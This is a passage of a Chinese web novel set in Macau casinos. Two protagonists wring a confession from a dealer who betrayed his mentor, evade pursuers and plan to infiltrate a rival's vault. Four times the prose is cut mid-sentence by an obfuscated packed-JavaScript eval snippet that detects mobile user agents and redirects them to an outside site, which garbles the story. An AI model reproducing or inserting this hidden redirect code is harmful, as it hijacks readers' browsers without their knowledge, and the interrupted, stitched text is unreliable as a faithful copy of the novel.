“哟,阿尽来啦。”九爷一见他就热情地笑起来,迎了上来,“来得正好,上个月那局做得漂亮,几个台湾客人回去还专门打电话夸你,说你这个手法,啧,舒服。” 齐无尽垂眼:“是九爷教得好。” “少来这套。”九爷笑骂,往后一扫,才看到被齐无尽遮住的初与序,“这位是……?” 齐无尽侧身让开,露出初与序:“这位是初与序,我朋友,家里做矿业的,最近刚接手海外业务,顺路来澳门看看。” 初与序微微颔首:“九爷。” “哎呀,初小姐,幸会幸会。”九爷伸出手。 初与序伸手与他相握。九爷的手指粗短有力,虎口有厚茧,握上来的时候拇指自然地在她虎口位置压了压。 初与序任由他试探,平静地回握:“久仰九爷大名,今天总算见到了。” “哪里哪里,初小姐才是真人不露相。”九爷松开手,除了排除她是警察,但没找到其他线索,便眯着眼打量她。他在赌场混了三十年,一眼扫过去就能估出赌客身家几斤几两,可眼前这姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233196|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他有点拿不准。 她脊背笔直,穿着简单的大衣长裤,衣服没logo,但剪裁和面料都极好,像是定制的。看上去不常泡在纸醉金迷的场子里,以前肯定也没来过赌场,可身上有种自然而然的上位者气息,像是曾在某个能一手遮天的位置上待过很长一段时间,早就把权柄揉进骨子里。现在面上装着笑容,但底下深不见底,是真的见过风浪。 总之不是简单人物。 齐无尽这时候凑到九爷耳边,低声说了几句,看样子应该是说来了个有钱的现在趁机捞一笔之类的,九爷边听边点头,再看向初与序时跟看一台行走的ATM机似的。 “初小姐既然是阿尽的朋友,那就是自己人。”九爷笑起来,拍了拍齐无尽的肩,“阿尽,好好招待。初小姐想玩什么,尽管开口,咱们这儿什么都能玩。” 初与序微微一笑:“那就先谢谢九爷了。” “客气什么?”九爷拿起雪茄盒,剪开一支,慢条斯理道,“初小姐初来乍到,有兴趣玩两把?正好一会儿黄昏,三楼有桌私局,都是熟客。” “九爷,不瞒您说,这些我玩不明白,也没兴趣。”初与序淡淡道,“家里管得严,以前也没碰过这些。” 九爷有些诧异地一挑眉,没想到初与序说得这么直接,便道:“那就让阿尽先带你转转?熟悉熟悉环境?” 齐无尽看了初与序一眼,见她点头,才应声:“好。” 两个人从办公室出来,走廊尽头是专用电梯,数字一路往下,最后停在四楼。电梯门再开时,喧哗声扑面而来。 永乐宫的公开区域装潢得像个高级会所,光线柔和,空气中飘着淡淡的香水味。赌客们衣着体面,说话声也压得很低,但任何一张赌桌上的人眼底都泛着狂热的光。 齐无尽走在初与序身侧,低声开口:“刚才为什么直接说不赌?” 初与序双手插兜,慢悠悠穿过几张赌台间:“你觉得在九爷那种老狐狸眼皮子底下我能装出什么花来?赌得差了,他看不起;赌得好了,他跟盯死你。我不如离他远点,少接触。” 两人混入人流,在各个赌台边停留片刻,看人不看牌,跟逛博物馆似的。 齐无尽站在她斜后方,偶尔有相熟的荷官和侍应生路过,对他点头致意。 就在他们停在一张二十一点赌台边时,一个穿着荷官制服的年轻女人从侧面走了过来,轻轻拍了下齐无尽的肩膀。齐无尽回头,那女人对他使了个眼色,朝旁边无人的休息区偏了偏头。 初与序抬眼扫了齐无尽一眼,挥了挥手,示意他去。 齐无尽跟着女荷官走过去,那女人抱着胳膊,压低声音:“阿尽,监控室那边盯半天了,你带来的这位搞咩啊?晃悠半个钟了,一注都没落,好似领导视察啊。阿三他们在监控室都快要眯着了,看她样子也不是条子喔。” “我也没办法,她家里……情况特殊,规矩大,不碰赌的。出来见世面,也就看看。”齐无尽耸了耸肩,摊开手。 女人挑挑眉:“咩来头?” “讲不清楚,总之背景深。赌钱别指望了,不过酒水那些,可以推销下。”齐无尽说道。 女人眼睛一转,笑了:“明啦。” 两人走回来时,女人热情地笑道:“初小姐,转累了吧?要不要去包间歇会儿?我们这儿有几款不错的酒,可以尝尝。” 初与序抬眸:“也好。” 两个人就这么顺手推舟地来到了单独的包间。 303.昨日港 包间在走廊尽头,隔音很好,深红色丝绒沙发,水晶吊灯,墙上挂着一幅抽象画,茶几上已经摆好了冰桶和干净酒杯,还有一些食物。角落里摆着台小三角钢琴。 三个穿白衬衫黑马甲的服务生很快跟进来,捧着厚重的酒水单。最前面那个熟练地翻到某一页,开始介绍几款酒水。 初与序全程没听,随手在某一款酒名上点了一下,把卡递过去,想将他们打发走。 那个服务生全部愣了一下,低头确认她指的位置,又抬头看了看她:“小姐,您确定是……这款?” “嗯。” 三个服务生一时间没动,嘴巴长成了一个o型,过了几秒才醒过来,连忙接过她手中的卡,转身匆匆往外走,差点在门口撞成一团。 初与序拿起旁边矿泉水喝了一口,看向齐无尽,不解道:“他们怎么了?” 齐无尽靠在沙发里,看着她笑:“你知道刚才点的酒是什么吗?” “不知道,没注意。” “罗曼尼·康帝。”齐无尽说,“十八万起步。” “……” 初与序差点一口水喷出来,捂着嘴咳嗽起来,呛得眼角泛红。半晌她抬起头,挥了挥手:“……没事,反正不是我的钱。” 酒很快送来,装在醒酒器里,深红色的液体泛着光泽。侍应生开酒、醒酒等动作小心翼翼,还有些震惊。花十几万买酒的客人常见,但像初与序这样看都不看随手一指指了个最贵的年轻姑娘,少见。 侍应生倒完后便鞠躬退了出去,齐无尽站起身,在包间里慢慢走了一圈,检查了壁画边框、花瓶底部、钢琴盖,包括空调出风口。随后回到沙发边坐下:“没有监听器,没有摄像头,好了。” 初与序看着桌上那瓶酒,没敢去碰。 齐无尽扬起眉:“你不喝我可喝了。” 初与序挥了挥手,示意他自便。自己垂下眼看着地板,思考着什么。 过了片刻,她抬头看向齐无尽:“你能查到莫楠去世后,永乐宫所有员工的档案、值班记录,和消费记录吗?” 齐无尽瞳孔一缩:“你是说……” 初与序做了个请的手势,齐无尽转身走到边柜,拉开抽屉,拿出一台笔记本。又从裤兜里摸出个黑色u盘插上,开机,敲击键盘。 初与序走到他身后,看着屏幕上滚过一串串代码。几分钟后,齐无尽敲下回车。 屏幕界面一变,跳出一个加密数据库的浏览窗口。上面有百来个人名,后面跟着职位、入职时间、档案等等所有信息。齐无尽还调出了一张简单的关系网图,用不同颜色标注着亲疏和利益往来。 他站起身,把椅子让出来。 初与序坐下,握住鼠标,划去了那些在莫楠死亡当天所有休假、外出,或者不在永乐宫当值的员工,划去了在永乐宫已经拥有稳定地位、深受九爷和几位大佬信任的员工,最后将莫楠死亡后消费水平基本不变的员工全部划去。 屏幕上最终只剩下两个名字—— 阿龙和阿七。 初与序抱起胳膊,靠进椅背:“这两个是谁?” “阿龙是九爷的人,跟了很多年,最受信任。”齐无尽沉身道,“阿七以前是楠姐的人,跟我一样,在楠姐手下做事。楠姐出事后,他调去了监控室。” 初与序移动鼠标,点开了阿七的档案。 照片上是一个二十七八岁的男人,瘦长脸,眼神有点飘。 “他在永乐宫西区监控室,今晚十二点下班。”初与序淡淡道,“晚上去找他吗?” 齐无尽没回答,看着屏幕上阿七的照片,眉头一点点拧紧,脸上露出震惊的神情:“怎么会是他……” 初与序能看出来,在这之前齐无尽根本没把阿七列入怀疑名单,这个结果对他而言太荒诞了。 齐无尽坐在沙发上,低下头,红色的头发遮住了他的脸。他骨节分明的手放在露出的后颈上,指尖深深抓进皮肉里,很快就在苍白的皮肤上掐出五个指甲印。 初与序没催促他,她走到落地窗边,拉开窗帘。 窗外,天色已经黑透了,澳门在夜色中彻底苏醒。如齐无尽中午所说,白日里那些方块此刻流转着璀璨的霓虹,将夜空映得辉煌。远处美高梅那几块像集装箱的建筑亮起了灯,忽然间,光影一闪,一头雄狮缓缓从玻璃幕墙走出,爪子碾过千万点灯火,庞大的光影在高高低低的楼面上流淌,掠过每一扇亮着暖光的窗,仿佛下一秒就要破壁而出,踏入这片纸醉金迷的夜色。 接着,齐无尽的手机响了,他愣了一下,从僵坐的状态里回过神,摸出手机放到耳边。 “哥哥!你什么时候回家啊!” 齐无恙的声音从手机那头传出来。 齐无尽抿了抿唇,努力让自己的声音变得柔和:“哥哥和初姐姐突然有点事,要晚一点回去。无恙,你先自己睡吧,已经很晚了。哥哥明天回家陪你,好不好?” 小姑娘似乎又嘟囔了几句什么,像是在撒娇,齐无尽温柔地应着安慰。过了好一会儿,他才挂断电话。他抬起头,看向初与序。 窗外流动的霓虹灯在他眼底明灭,他说:“到了时间就去找他。” 初与序点了点头。 十一点半,澳门依旧繁华,霓虹把街道照得亮如白昼,衣着光鲜的男女在赌场和酒店穿梭。 两个人离开包间,齐无尽先回了一趟停车场,在车上拿了帽子戴上,遮住了自己的红发,顺便给初与序也拿了一顶,才回到赌场,混入人流。 永乐宫内部的规矩,莫楠的死亡是不能提的禁忌。九爷也早明令禁止齐无尽再查当年的真相。齐无尽今晚不值班,如果被认识的人看到还在这里晃,难免惹人怀疑。他这一头红发和初与序惊艳的外貌实在夺目,只能戴好帽子。 赌场内部仍然人声鼎沸,白天黑夜没有区别。齐无尽带着初与序穿过大厅,走了员工通道,推开后门,外面是赌场西侧的后巷。 澳门的冬天没有特别冷,但室外还是凉嗖嗖的。巷子里堆着几个控制箱,对面是一扇门,门牌上写着:「西区监控室,非请勿入」。 “阿七下班都走这个门。”齐无尽说,“等在这儿就行。” 自从楠姐死后,他和阿七分开,就疏远了。阿七不敢提,他也不想问,两个人很少联系。 两人一左一右贴着墙站,初与序看了眼手机:十一点五十八分。 十二点整,门内隐约传来人声,一个男声笑道:“换班来啦?那我走了啊!明儿见!” “路上小心!”里头应了几声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233197|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着是清晰的钥匙声,门被推开,一个瘦高的男人走了出来,穿着薄羽绒服,回头仔细锁好门,将钥匙揣进兜里,转身往停车场方向走。 他还不到三十,在赌场干了没几年,胆子没练起来。虽然下班常走这条路,但现在总觉得背后发寒。走了几步,他停下脚步,飞快地回头看了一眼,后面没人。 他松了口气,转回头刚迈出一步,头皮猛地一麻:“唔——!” 一只手死死捂住了他的嘴,另一只手扣住他手腕,反剪到后腰。他整个人被向后拖,拽进了巷子深处。 等他站稳,面前已经多了个人。 高个子,黑帽子,帽檐下露出半张苍白的脸。那人竖起食指,抵在唇前:“阿七。” 阿七瞪大眼睛,看清对方是谁后,整个人丈二和尚摸不着头脑:“阿……阿尽?” 他背后的力道松开了,阿七慌忙回头去看钳制他的人,竟然是个女人,轻轻松松就把他拖过来了,正平静地看着他。 阿七转回头去看齐无尽:“阿、阿尽……这、这是怎么回事阿?大晚上的,怎么突然……” 齐无尽笑了笑:“这不是好久没见,来找你叙叙旧么?” “叙、叙什么旧?为什么非要在这儿叙?”阿七硬着头皮,边说边朝往外挪,“那啥……要不咱们找个餐馆吧,你瞧这儿也冷……” 初与序往旁边一迈,站到齐无尽旁边,两个人把阿七夹在了墙角。这架势,不知道的还以为是两个混混堵人抢劫。 齐无尽看着他:“你还记得楠姐吗?” 阿七听到这个名字,打了个哆嗦:“阿尽,九爷不是说……不要再提楠姐了吗?楠姐都去世一年了,我们都知道你很想她,但人死不能复生……你、你还是回家睡一觉吧,醒来就不难过了……” “人死不能复生?”齐无尽冷笑一声,冷冰冰地盯着阿七,“跟你提楠姐,是因为我今天碰见了当年黑鸢尾牌局上一个荷官。他跟我说了点关于楠姐出千的事儿。你猜他说了什么?” 阿七抖得像鹌鹑,完全没料到这出:“能……能是什么?” 他伸手去拉齐无尽的胳膊,湿漉漉地看过来:“阿尽,那案子早就定了!就是楠姐不小心被赌客亲眼发现给牌做记号出千,才被他们强杀的。黑鸢尾的规矩你又不是不知道,出千被抓就是死路一条……楠姐当时运气不好,后来咱们赶过去,他们拉着我,也拉着你,我们都没办法……阿尽,别再查了,放下吧,你还有无恙陪着呢……” 齐无尽甩开他的手,上前一步,逼得阿七后背贴上墙壁。 “你真觉得当年的事纯属楠姐运气不好?”他沉声道,“你真这么想?还是你不得不这么想,不得不骗自己,现在还来骗我?” “楠姐为什么会去那种牌局?为什么会在那里赌上自己的命去出千?还只是通过做简单的记号这种蠢方法出千?这么轻易就被发现?阿七,我们在楠姐手下干了那么久,够了解她吧?你他妈别告诉我,你一点疑心都没动过。” 他一字一句:“当年那晚,给楠姐那桌发牌的荷官,是你吧?” 阿七瞳孔一缩,慌忙摇头:“没有!绝对没有!当晚是咱俩一块儿去找楠姐的,我怎么可能在黑鸢尾当荷官?!我也没那个实力去那种大型牌局上!” 304.昨日港 初与序在旁边看着,这人装傻装的直接送去博物馆当“现当代人类未解之谜”展品得了。不过就他这心理素质,随便炸一炸,该吐的都会自己吐出来。 她开口道:“我挺好奇的,你是怎么混上黑鸢尾牌局,又是怎么在莫楠的牌具里动手脚,陷害她,导致她出千被抓的。” 阿七整个人僵了一下。 “你真以为你干过的事能瞒过所有人?九爷不让提,不代表你那些同事不知道。你干过什么,早就有人门儿清了。收买你的人拿你当棋子,现在你已经成弃子了。背叛莫楠的事一旦露出去,你在澳门永乐宫还怎么活?九爷最恨的就是背叛。” 阿七慌得手脚都不知道往哪儿放,语无伦次:“我……我真没背叛楠姐!我上有老下有八嘎!我只能待在澳门,我……” 初与序转向齐无尽:“八嘎是谁?” 齐无尽面无表情:“他养的猫,嘴上有两瓣毛是黑的,叫八嘎。” 初与序:“……?” 阿七急得来回看他们俩,带着哭腔道:“我怎么办……我不能出事,我不能死啊……阿尽,姑娘,你们帮帮我,求你们了……但我真的没背叛楠姐,真没有!我就是……我就是那天晚上正好路过,看见楠姐进去了,我真不知道会发生那种事啊!” 初与序耸了耸肩:“你会不会死,关我们什么事?” 阿七嗫嚅道:“我……我……” 初与序说:“既然你没做,你又怕什么。他们说你背叛了楠姐,你拿证据证明你自己清白不就行了?找出你当晚的不在场证明,列出所有能证明你清白的人,清清楚楚摆出来,谁还能赖你?” 她拍了拍齐无尽的肩膀:“叙完旧了,走吧。” 齐无尽看了阿七一眼,转身和初与序往巷口走。 刚走出三四步,身后传来抽泣声。 “我……是我背叛了楠姐……” 齐无尽猛地顿住脚步,脸色煞白,初与序慢条斯理地转过身。 阿七蜷缩在墙角,双手捂着脸:“是张景逼我的……我,我也不想害楠姐……” 齐无尽听到他的话,听到那个刻入骨髓,令他恐惧的名字,浑身血液都凉了。他侧过身,一动不动地盯着阿七:“你、说、什、么?” “是我……是我当年被张景买通……”阿七崩溃地哭出声,“我给楠姐的牌是做过记号的牌……是我害她出千被抓。当年办黑鸢尾的是张景,杀死楠姐的也是……张景……” 齐无尽一个箭步冲上前,揪住阿七的衣领狠狠把他掼在墙上,一拳砸了下去! “你他妈把楠姐害死了?”齐无尽的情绪失控起来,“这一年来你他妈怎么睡得着?!楠姐对你好吧?楠姐对你不好吗?!她把你当亲弟弟,把她会的都教给你!你他妈被张景收买?张景是什么人?啊?他是什么人你清清楚楚!你和那个畜生合作?!你杀了你的救命恩人?!” 阿七被他那一拳打得流鼻血,发着抖道:“我也不想啊……我也不想楠姐死啊!可张景他威胁我!他用我家人的命威胁我!楠姐当初把你和无恙从张景手里买下来,他早就想杀楠姐,也想杀你!他说我要是不合作……他就杀了我父母!杀我全家!连宠物都不放过!我能跟他斗吗?!我只是个小荷官,我只想活着……我没办法啊……” 他滴泪横流:“阿尽,我们在张景眼里就是可以随便踩死的蚂蚁……连九爷都不会轻易招惹他!他想杀人,吩咐一句,那个人当晚就得死!我不想死……我怕啊……” 齐无尽松开手,踉跄着跪在了地上,低着头,像是在自言自语:“张景……你他妈……” 阿七哭得浑身抽搐。当年那局面,不是莫楠死,就是他全家死。没得选。 有人天生拿皇家同花顺,站在高处,踩着金砖握着筹码,连呼吸都是赢的;有人一辈子摸烂牌,生来就在泥里,爬不出去也死不了,只能烂在那里。 他们是真的斗不过张景。 初与序叹了口气,走上前:“莫楠当初为什么会去参加黑鸢尾?” 阿七断断续续地回答:“是……是因为楠姐想赢回的……好像是一份契约,放在张景赌场地下金库里……只要她赢了,那份契约就归她……” 齐无尽抬起头:“什么契约?” 阿七忙摇头:“我不知道……这个我真的不知道……楠姐从来没说过,张景也没提过……我只知道,为了那份东西,楠姐愿意赌命……” 初与序说:“他这话是真的。” 齐无尽咬了咬牙,撑着膝盖站起身,头也不回地往巷口走。阿七瘫在墙角,刚松了口气,晃晃悠悠地想站起来—— 前面的齐无尽一转身,几步跨回来,又一拳砸在他脸上! 阿七痛叫一声,重新摔回地上,刚止住的鼻血又涌了出来。 初与序看了阿七一眼,没说什么,转身跟上齐无尽。两人回到停车场,齐无尽走到车旁边,在离车一米左右的地方忽然停下脚步,蹲下身,伸出食指蹭了下地面,又抬起手看了看。 他抬起头,脸色不太好地看向初与序。 初与序就知道出事了,车被人盯上,他们俩也被人盯上了。 她走到齐无尽身边,听见齐无尽压低声音:“张景的人。” 初与序不动声色地环视了一圈停车场,一个人都没有,周围停着的车里也都空着。人应该等在车库外的车流里。 齐无尽检查了一下车门把手,没有被强行撬开的。他拉开车门:“上车。” 初与序坐上副驾:“你想甩掉他?” 齐无尽点了点头,系好安全带:“他们今晚不会动手,顶多跟着,摸清楚我住哪儿。晚上不回银海峰景,去我另一个房子。” 初与序感觉他们俩跟逃犯似的。 RS6离开车库,驶出地下车库,汇入夜晚的车河里。高楼大厦的霓虹灯金灿灿地泼在马路上,给所有疾驰的车身镀上一层晃眼的光。 齐无尽握着方向盘开车,初与序盯着后视镜。后方车流如长龙,还有两辆摩托车钻来钻去。 仅仅过了几分钟,她就分辨出来了:“右后方,银色GTR。” 齐无尽扫了一眼后视镜,那辆GTR里头坐着两个人,开车的女人卷发,后座是个寸头男人,手里拿着什么东西,距离太远看不清。 前方就是友谊大桥,车流密集。齐无尽猛地向左一打方向盘,RS6扎进了两辆巴士中间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233198|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面的GTR被一辆突然被变道的出租车别了一下,拉远了半个车身。齐无尽一脚踩下油门,RS6在车流中快速穿梭。GTR显然被他这种开法激怒了,开始强行挤占车道,惹来一片愤怒的鸣笛。 就在这时,一辆重型货车正缓缓向右变道,庞大的车身将GTR严严实实挡在了后面。 等GTR暴躁地绕开货车时,前方的车流里已经没了RS6的影子。 甩掉车后,齐无尽开车的速度就慢了下来。他开了很久,凌晨两点左右,车停在一栋破旧的居民楼下。初与序看向窗外,这里和澳门另一边金碧辉煌的赌场酒店形成鲜明对比。楼梯灰扑扑的,墙皮斑驳,楼梯口堆着几辆自行车。周围也停着汽车,有几辆上面落了厚厚一层灰,几乎和路面一个颜色。 齐无尽一边解安全带一边说:“这里是楠姐小时候住的家,后来有钱了,就带着家里人搬走。但房子一直留着,钥匙给了我一把,说遇到意外可以暂时住这儿。” 两人下车,楼梯道里的声控灯坏了,齐无尽摸出手机照亮。 屋子在三楼,他刚用钥匙打开门,灰尘就扑面而来,两个人站在门口咳了好半天才缓过来。 两室一厅,带厨房和浴室,家具整齐,但都蒙着白布。两间卧室的柜子里放着干净的枕头被褥。隔音不太好,能听见外面呼啸而过的车流声,楼上打麻将的声音,还有楼下老大爷断断续续的咳嗽。 齐无尽换上拖鞋,说:“让你和我在一个副本里逃亡,也是对不起。” 初与序面无表情看过来:“我在永冬之城也经常逃亡。” “……” 这倒是实话,齐无尽笑了下:“你吃晚饭吗?” “不吃了。”初与序扫视一圈,“这里有电脑吗?能专门查澳门赌场线索的。” 齐无尽转身去卧室翻箱倒柜了一阵,还真从衣柜顶层摸出一台笔记本电脑,应该是莫楠特意留在这儿的。他递给初与序:“张景旗下最大的赌场是‘铂金皇宫’。”说完就拎着换洗衣物进了浴室,关上门。 初与序接过电脑,擦去沙发上的灰尘,坐下后开机。老机器嗡嗡响了一阵才亮屏,她敲击键盘,开始查铂金皇宫的建筑结构和没有公开的资料。 查了一半,耳骨夹突然传来冬逢初的声音:“阿序?” 初与序有些意外,应了一声。 她和冬逢初很少在不同副本里用耳夹聊天,一来要专注任务,二来怕自己说话时对方正在干什么重要的事,打扰到对方。 “永冬之城那边的玩家还在闹吗?”外面车流声太大,初与序便开了外放,“你和景明垂怎么样?” 听到她的声音,冬逢初柔声道:“我们没事,S23他们已经把闹得比较凶的几个抓进处罚区了,其他玩家暂时也不敢乱来。你呢?你那边还好么?” “D19把我安排进副本了,两天后回,其他玩家进不来。” “单人本?” “不是。”初与序顿了一下,“和齐无尽一起。” 冬逢初那边沉默了好一会儿:“……为什么你是和他在一个副本?” 初与序在心里叹了口气,冬逢初还是一听到齐无尽名字就皱眉。 305.昨日港 “你讨厌他?”她问。 冬逢初嘀嘀咕咕道:“就是看他不顺眼,喝水都像在品拉菲似的,装什么……” 他话没说完,浴室门被拉开。齐无尽擦着头发出来,换了身黑T恤和运动裤。 “冬逢初。”他凉凉开口,“你嗓子借给百灵鸟了?倒是唱两句人话来听听。” 冬逢初在那边冷笑一声:“人话得对着人讲,齐无尽。没事儿就多耸耸肩,把中间那玩意挤掉算了。” 齐无尽走过来,反讽道:“天冷了多给自己盖点土吧,你的脑子如果和你的话一样空,倒也算平衡了。” 初与序就这么听着两个人隔空互怼起来,如果不阻止他们,两人能吵一晚上。 “行了行了。”她揉了揉眉心,“你们怎么这时候都能互骂起来?” 冬逢初声音立刻软下去,可怜巴巴的:“阿序,我都四天没见到你了,好不容易和你说上话,这个人还骂我……” 齐无尽:“???” “冬逢初你别在这儿装可怜。”他嗤笑道,“我上周还看见你在副本里三秒干掉一群变异体,凶得跟什么似的。初与序喜欢你才愿意听你话,不然早让你滚远点了。” 冬逢初在那边翻了个白眼:“所以阿序就是喜欢我啊,怎么着?” 初与序无奈,对冬逢初轻声道:“好啦,等我通关副本就回永冬之城,马上就能见面了。” 那头传来冬逢初笑盈盈的声音:“好。” 通讯挂断,齐无尽把毛巾搭在椅背上,满脸不爽地看着初与序:“你就惯他吧。” 也不等初与序回答,他一个人走到窗边点了支烟。烟雾袅袅上升,隔着他,窗外是澳门遥远而璀璨的灯火。 初与序继续敲键盘,话对着齐无尽说:“莫楠不惜性命要拿回来的那份契约,你有什么想法?” 齐无尽吐出烟雾,沉默了一会:“我不知道。” “我认为楠姐当晚确实准备出千。那份契约对她很重要,她打算靠出千赢下来。但她出千的方式绝不会是做标记这么低级。但在她出千之前,就已经被阿七发的记号牌害了。” 初与序没接话,过了片刻,她停下敲键盘的动作:“你过来看看。” 齐无尽叼着烟走过来,俯身看向屏幕,上面是铂金皇宫的详细建筑结构图、安保换班时间、一年前所有拍卖会的信息记录,还有地下金库的物流信息等等。 “既然我们不知道契约是什么,那就去亲眼看看。”初与序说。 齐无尽看向她:“你要在张景的地盘上惹事?” “我们要弄明白那契约的内容到底是什么。” “你不了解张景这个人。”齐无尽压低声音,“他比任务副本BOSS都可怕,在这个副本里,他是个有自我意识的人类,不仅仅是NPC。他干的犯法事数不胜数,贪/污、叛/卖人口、走/私、强/奸,杀人,贩/毒、制/毒……只有你想不到,没有他做不到,警察都拿他没办法。” “没有人在他眼里是人。他是施虐狂,他……”齐无尽深吸一口气,涩声道,“他还恋/童。” 初与序脸色变了一下:“什么……” “我告诉你这些,是想说,如果我们被他抓到,被丢进海里喂鱼已经是很好的结局了。你明白吗?”齐无尽说道,“你知道我来这个副本是为了什么,你没有阻止我,也阻止不了我。两天后我去找张景,也会同时完成副本任务。你什么危险的事都不用做,就可以回永冬之城。” “是楠姐救了我和无恙,如果不是她来,无恙也会……我会为楠姐报仇,拿到她想到的东西,找到真相。所以你应该考虑清楚,要不要和我一起去铂金皇宫找契约。” 初与序想了想,说:“我觉得你一个人进去,很容易出不来。如果你第二天就死了,后期我一个人也不好通关。为了方便我通关,我选择和你一起去铂金皇宫。” 她抬起眼,又补了一句:“再说了,张景盯上了你。我和你今天一直待在一起,他不也盯上我了吗?” 这倒也是…… 齐无尽扶额,叹了口气:“好。” 初与序转回屏幕,移动鼠标:“铂金皇宫有债务拍卖的活动,拍品可以是任何东西,赢家通吃,输家可能付出远超筹码的代价。我认为莫楠当年参加的不是普通牌局,而是铂金皇宫的黑鸢尾私人拍卖会,在拍卖会上用赌博的形式赢得拍品,也就是那份契约。” “一年前,张景主导的那场拍卖会,拍品记录里有一项叫‘37号箱’。最终获得者仍然是张景。我认为,契约就放在那个箱子里。” 齐无尽盯着屏幕沉思片刻,说道:“铂金皇宫内部的结构我非常熟悉,也知道不少暗道。到了时间,我们装成赌客进去。” “要偷契约吗?”初与序问。 “不拿走。”齐无尽摇了摇头,“契约被偷会打草惊蛇,我们只需要去看契约的内容。” 两人又简单对了下计划,谈完话后,夜已经很深了。楼上的麻将声不知道什么时候停了,楼下大爷的咳嗽也安静下来。 初与序合上电脑,起身去浴室洗漱。等她出来时齐无尽已经关了客厅的灯,只留了卧室门缝一点昏黄的光。 她走进另一间卧室,关上门。 天亮后,齐无尽和初与序回了趟银海峰景。寒假期间,齐无恙正晃着腿坐在客厅里看电视,听见声音立刻扭过头,眼睛一亮:“哥哥!初姐姐!” 她从沙发上弹起来,先扑进齐无尽怀里蹭了蹭,又转身给了初与序一个拥抱。 “在家怎么样?”齐无尽拍了拍她的脑袋。 “可乖了!今天的作业也写完了!”齐无恙用力点头,又晃了晃齐无尽的手,“哥哥,陪我一起看电视好不好?海绵宝宝,就一集!” “只能看一集,看完要休息眼睛,不然会近视。”齐无尽被妹妹拉着往客厅走,回头看了初与序一眼。 “我下去转转。”初与序转身出了门。 她在银海峰景小区里慢悠悠转了一圈,小区很安静,绿化很好,偶尔要遛狗的老人经过。她留意了停车位和几个视线好的角落,没发现什么可疑车辆和人。昨晚那些人应该还没摸到这里,确实被齐无尽彻底甩掉了。 下午四点左右,赌场客人多起来的时候,两人出发了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233199|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 铂金皇宫允许客人戴帽子,初与序将长发随便扎了个低马尾,和齐无尽戴上昨晚的帽子,跟着人流进入了铂金皇宫的正厅。 一进来,初与序就感受到了金钱的气息。 大厅挑高近二十米,巨大的水晶吊灯从顶上垂落,折射出金光。地面铺着意大利大理石,花纹繁复,光可鉴人。四处可见镀金的装饰和昂贵的艺术品,轮盘转动,骰子轻响,筹码碰撞。穿着礼服或高级定制西装的男女穿梭,侍应生托着香槟或威士忌服务,背景音乐是舒缓的爵士乐。 铂晶皇宫一共三十二层,地下十层是公开赌场和高级餐厅,往上则是VIP包厢和酒店套房,以及不对外公开的私人俱乐部和拍卖场。 但最顶层是什么并没有写在介绍单上,齐无尽看上去很厌恶那里,没有提,初与序也懒得问。 “下午五点拍卖会开始,金库在负一楼,另一边就是藏品预览区。拍卖会开始前,宾客可以预览一部分拍品。”齐无尽说。 两个人随着人流进了电梯,大部分客人按下了负一层,都是来参加拍卖会的。 电梯门一开,眼前是一个空旷的大厅。天花板很高,冷白色的灯光洒落,照着一排排陈列在玻璃柜里的拍卖品。珠宝、青铜器、油画、玉雕,琳琅满目,而这还只是一部分拍品。 大厅尽头是一扇木门,此刻紧闭着,门两侧站着两名保镖,面无表情,认真地盯着整个预览区。 来这里的客人很少是老板本人亲自到场,大多都是助理。几位侍应生端着托盘,将拍卖手册分发给每位宾客。初与序接过一本,随手翻了几页。上面没有“37号箱”,应该还在金库,今晚没打算拍卖。 两人混在人群中,慢慢来到人稍微少一点的角落,停在一串钻石项链前。 齐无尽压低声音:“拍卖会开始后,大部分保安的注意力会集中在拍卖场附近。看守金库的最多五人。” “金库前方是一条长走廊,拐弯处会站着两名保镖。门是双重锁,需要门禁卡和虹膜。楠姐以前存过能进金库的主管虹膜信息,我在永冬之城已经做好了仿生膜,只要拿到门禁卡就行了。” 初与序也小声说:“我看了保镖的巡逻路线和换班时间。四点五十有一批侍应生换班,他们会先去临时休息区,我去‘借’他们的工牌。” 齐无尽看了她一眼:“你确定是‘借’?” 